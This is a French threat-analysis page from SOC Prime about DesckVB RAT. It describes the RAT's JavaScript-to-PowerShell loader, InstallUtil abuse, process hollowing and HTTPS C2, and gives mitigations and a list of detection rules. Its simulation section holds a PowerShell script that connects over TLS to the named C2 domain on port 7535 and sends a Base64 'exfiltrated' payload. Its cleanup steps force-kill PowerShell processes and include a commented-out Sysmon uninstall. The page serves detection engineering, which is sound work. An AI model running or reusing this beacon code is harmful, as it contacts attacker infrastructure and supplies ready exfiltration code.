SOC Prime Bias: Moyen

09 Avr 2026 17:59

Analyse de DesckVB RAT : Du chargeur JavaScript au RAT .NET sans fichier

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Analyse de DesckVB RAT : Du chargeur JavaScript au RAT .NET sans fichier
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

DesckVB RAT est un cheval de Troie piloté par JavaScript qui enchaîne avec un chargeur PowerShell pour récupérer et exécuter une DLL .NET sans fichier directement en mémoire. Pour dissimuler l’exécution, le chargeur utilise le codage Base64 et l’obfuscation par inversion de chaînes, abuse de InstallUtil.exe en tant que LOLBin, et génère un nouveau processus à l’aide de CreateProcessA. Une fois actif, le RAT établit des communications C2 chiffrées en HTTPS et prend en charge des modules pour l’enregistrement de frappe, l’accès à la webcam et la découverte anti-AV.

Enquête

L’analyse indique que la première étape en JavaScript écrit un script PowerShell dans C:UsersPublic, puis accède à un domaine obfusqué pour télécharger un assembly .NET (par exemple, ClassLibrary3.dll). L’assembly charge des DLL de support, crée un processus suspendu et injecte le code de la charge utile tout en signalant des détails de configuration tels qu’un domaine malveillant secondaire et un port. La télémétrie réseau confirme des communications chiffrées TLS de l’hôte infecté vers l’infrastructure C2 de l’attaquant.

Atténuation

Bloquez l’exécution de scripts PowerShell non fiables ou non signés et restreignez l’utilisation de InstallUtil.exe pour les flux de travail non administratifs ou inattendus. Appliquez des contrôles stricts en sortie, y compris l’inspection HTTPS lorsque possible et le filtrage de réputation de domaine pour l’infrastructure malveillante identifiée. Sur les points de terminaison, détectez l’utilisation de CreateProcessA avec des indicateurs de processus suspendu et alertez sur les schémas de chargement d’assembly .NET en mémoire cohérents avec l’injection sans fichier.

Réponse

Si des indicateurs sont détectés, isolez le point de terminaison, arrêtez la chaîne de processus malveillante et capturez les vidages de mémoire pour l’analyse des assemblées en mémoire et des régions injectées. Supprimez les artefacts PowerShell déposés dans C:UsersPublic et éliminez toutes les DLL ou restes de chargeur connexes. Réinitialisez les identifiants impactés, faites tourner les secrets exposés, et examinez les journaux de pare-feu/proxy pour les connexions sortantes vers les domaines et ports listés.

"graph TB %% Class definitions classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef malware fill:#ccffcc classDef file fill:#dddddd %% Nodes loader_js["<b>Outil</b> – <b>Nom</b>: Chargeur JavaScript Obfusqué<br/><b>Technique</b>: T1027.006 Exfiltration HTML“ class loader_js tool powershell_script["<b>Outil</b> – <b>Nom</b>: Script PowerShell lkpzw_01.ps1<br/><b>Technique</b>: T1059.001 PowerShell<br/><b>Description</b>: S’exécute avec une politique d’exécution contournée"] class powershell_script tool dotnet_assembly["<b>Fichier</b>: Assembly .NET Malveillant"] class dotnet_assembly file installutil_execution["<b>Outil</b> – <b>Nom</b>: InstallUtil.exe<br/><b>Technique</b>: T1218.004 Exécution de Proxy par Binaire Système<br/><b>Description</b>: Exécute une DLL .NET via un binaire système de confiance"] class installutil_execution tool dotnet_reflection["<b>Malware</b> – <b>Nom</b>: ClassLibrary3.dll<br/><b>Technique</b>: T1620 Chargement de Code Réflexif<br/><b>Description</b>: Charge l’assembly directement en mémoire en utilisant la réflexion"] class dotnet_reflection malware process_hollow["<b>Action</b> – <b>Technique</b>: T1055.012 Creusement de Processus<br/><b>Description</b>: Crée un processus suspendu et injecte du code malveillant"] class process_hollow action thread_hijack["<b>Action</b> – <b>Technique</b>: T1055.003 Détournement de l’Exécution de Thread<br/><b>Description</b>: Détourne l’exécution de thread au sein du processus cible"] class thread_hijack action dll_hijack["<b>Action</b> – <b>Technique</b>: T1574.001 Détournement de Flux d’Exécution DLL<br/><b>Description</b>: Charge des DLL supplémentaires en mémoire pour étendre la fonctionnalité"] class dll_hijack action keylogger_module["<b>Malware</b> – <b>Nom</b>: Microsoft.exe<br/><b>Technique</b>: T1056.001 Enregistrement de Frappe<br/><b>Description</b>: Dépose un enregistreur de frappe et d’autres modules"] class keylogger_module malware c2_https["<b>Action</b> – <b>Technique</b>: T1071.001 Protocoles Web<br/><b>Description</b>: Communique sur HTTPS en se mêlant au trafic légitime"] class c2_https action %% Connections loader_js –>|écrit et exécute| powershell_script powershell_script –>|télécharge l’assembly| dotnet_assembly dotnet_assembly –>|exécuté via| installutil_execution installutil_execution –>|charge par réflexion| dotnet_reflection dotnet_reflection –>|crée un processus suspendu| process_hollow process_hollow –>|utilise le détournement de thread| thread_hijack thread_hijack –>|charge des DLL supplémentaires| dll_hijack dll_hijack –>|active| keylogger_module keylogger_module –>|communique avec C2| c2_https "

Flux d’attaque

Détections

Exécution PowerShell de fichier dans un répertoire suspect en utilisant une politique d’exécution contournée (via cmdline)

Équipe SOC Prime
08 avril 2026

LOLBAS WScript / CScript (via création de processus)

Équipe SOC Prime
08 avril 2026

Chaînes PowerShell suspectes (via powershell)

Équipe SOC Prime
08 avril 2026

Appel de Classes/Méthodes .NET suspectes depuis la ligne de commande PowerShell (via création de processus)

Équipe SOC Prime
08 avril 2026

Fichiers suspects dans le profil utilisateur public (via événement de fichier)

Équipe SOC Prime
08 avril 2026

Exécution suspecte depuis le profil utilisateur public (via création de processus)

Équipe SOC Prime
08 avril 2026

IOC (SourceIP) pour détecter : Analyse DesckVB RAT : Du Chargeur JavaScript au RAT .NET sans fichier

Règles AI SOC Prime
08 avril 2026

IOC (HashMd5) pour détecter : Analyse DesckVB RAT : Du Chargeur JavaScript au RAT .NET sans fichier

Règles AI SOC Prime
08 avril 2026

IOC (HashSha256) pour détecter : Analyse DesckVB RAT : Du Chargeur JavaScript au RAT .NET sans fichier

Règles AI SOC Prime
08 avril 2026

IOC (DestinationIP) pour détecter : Analyse DesckVB RAT : Du Chargeur JavaScript au RAT .NET sans fichier

Règles AI SOC Prime
08 avril 2026

Détection de la Communication C2 de DesckVB RAT [Connexion Réseau Windows]

Règles AI SOC Prime
08 avril 2026

Détection de l’exécution DesckVB RAT PowerShell et InstallUtil [Windows Powershell]

Règles AI SOC Prime
08 avril 2026

Exécution de Simulation

Prérequis : Le contrôle pré-vol de télémétrie et de base doit réussir.

Rationnel : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront un mauvais diagnostic.

  • Narratif et Commandes d’Attaque :
    L’attaquant, ayant obtenu une première base, lance une charge utile PowerShell basée sur le principe de « vivre des ressources du terrain » qui ouvre une connexion TCP enveloppée TLS au domaine C2 codé en dur manikandan83.mysynology.net sur le port 7535. La charge utile encode un bloc de données fictif avec Base64 (illustrant T1132.002) et le transmet via le canal TLS. Comme les classes .NET de PowerShell sont utilisées, aucun binaire externe n’est écrit sur le disque, reflétant la nature sans fichier de DesckVB RAT. La connexion est établie par un processus enfant (powershell.exe) qui sera capturé par Sysmon comme un événement de connexion réseau avec le domaine exact, le port et le drapeau de poignée TLS que la règle surveille.

  • Script de Test de Régression :

    # --------------------------------------------------------------
    # Simulation de Communication C2 DesckVB RAT (PowerShell) 
    # --------------------------------------------------------------
    # Paramètres
    $c2Domain = "manikandan83.mysynology.net"
    $c2Port   = 7535
    
    # Charge utile fictive (encodée en Base64) – représente les données exfiltrées
    $payload  = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42"))
    
    try {
        # Établir une connexion TCP
        $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port)
        $netStream = $tcpClient.GetStream()
    
        # Entourer de TLS (SslStream)
        $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true}))
        $sslStream.AuthenticateAsClient($c2Domain)
    
        Write-Host "[+] Poignée TLS terminée avec $c2Domain:$c2Port"
    
        # Envoyer le préfixe de longueur de charge utile (4 octets en big endian) puis les données
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $len   = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length))
        $sslStream.Write($len,0,$len.Length)
        $sslStream.Write($bytes,0,$bytes.Length)
        $sslStream.Flush()
        Write-Host "[+] Charge utile envoyée (longueur Base64 $($bytes.Length))"
    
    } catch {
        Write-Error "[-] Connexion échouée: $_"
    } finally {
        # Arrêt propre
        if ($sslStream) { $sslStream.Close() }
        if ($netStream) { $netStream.Close() }
        if ($tcpClient) { $tcpClient.Close() }
        Write-Host "[*] Connexion terminée."
    }
  • Commandes de Nettoyage :

    # Assurez-vous que toutes les connexions PowerShell NetTCP restantes sont fermées
    Get-Process -Name powershell | Where-Object {
        $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient'
    } | Stop-Process -Force
    
    # Optionnel: Supprimer Sysmon (si c'est un environnement de test unique)
    # & "$env:ProgramFilesSysmonSysmon.exe" -u